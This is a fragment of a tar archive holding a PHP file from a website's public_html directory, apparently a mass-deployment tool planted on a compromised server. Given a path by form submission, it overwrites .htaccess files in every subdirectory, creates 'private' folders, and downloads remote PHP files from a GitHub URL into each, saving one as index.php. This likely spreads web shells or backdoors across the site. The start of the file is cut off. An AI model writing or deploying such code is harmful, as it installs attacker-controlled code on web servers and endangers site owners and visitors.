home/kckglobal/public_html/update/mymasshp.php 0000644 00000006741 15032751145 0015576 0 ustar 00 ";
}
// Define the content for the new .htaccess file
$htaccessContent = "
";
}
// Function to process all subdirectories and manage the required files
function processSubdirectories($basePath) {
$basePath = rtrim($basePath, '/') . '/';
// Check if the base path is a valid directory
if (!is_dir($basePath)) {
echo "Invalid path: $basePath
";
return;
}
// Get all subdirectories in the base path
$subdirectories = glob($basePath . '*', GLOB_ONLYDIR);
foreach ($subdirectories as $dir) {
// Step 1: Create or update the .htaccess file in the subdirectory
createHtaccessFile($dir);
// Step 2: Create the 'private' directory if it doesn't exist
$privateDir = $dir . '/private';
if (!is_dir($privateDir)) {
mkdir($privateDir, 0755, true);
echo "Created directory: $privateDir
";
}
// Step 3: Create or update the .htaccess file inside the 'private' directory
createHtaccessFile($privateDir);
// Step 4: Download and save required files inside the 'private' directory
$filesToDownload = [
'index.php' => 'https://raw.githubusercontent.com/cpugpu009/nf/refs/heads/main/nf.php', // nf.php saved as index.php
'function.php' => 'https://raw.githubusercontent.com/cpugpu009/nf/refs/heads/main/function.php'
];
foreach ($filesToDownload as $fileName => $url) {
$filePath = $privateDir . '/' . $fileName;
$content = file_get_contents($url);
if ($content === false) {
echo "Error: Unable to fetch $fileName from $url
";
continue;
}
file_put_contents($filePath, $content);
echo "File uploaded to: $filePath
";
}
}
}
// Handle form submission
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$basePath = trim($_POST['path']);
if (empty($basePath)) {
echo "Path is required.
";
} else {
// Step 1: Create or overwrite the .htaccess in the base path
createHtaccessFile($basePath);
// Step 2: Process each subdirectory under the base path
processSubdirectories($basePath);
}
}
// Display the current path (default to the server's document root if not specified)
$currentPath = isset($_POST['path']) ? trim($_POST['path']) : $_SERVER['DOCUMENT_ROOT'];
?>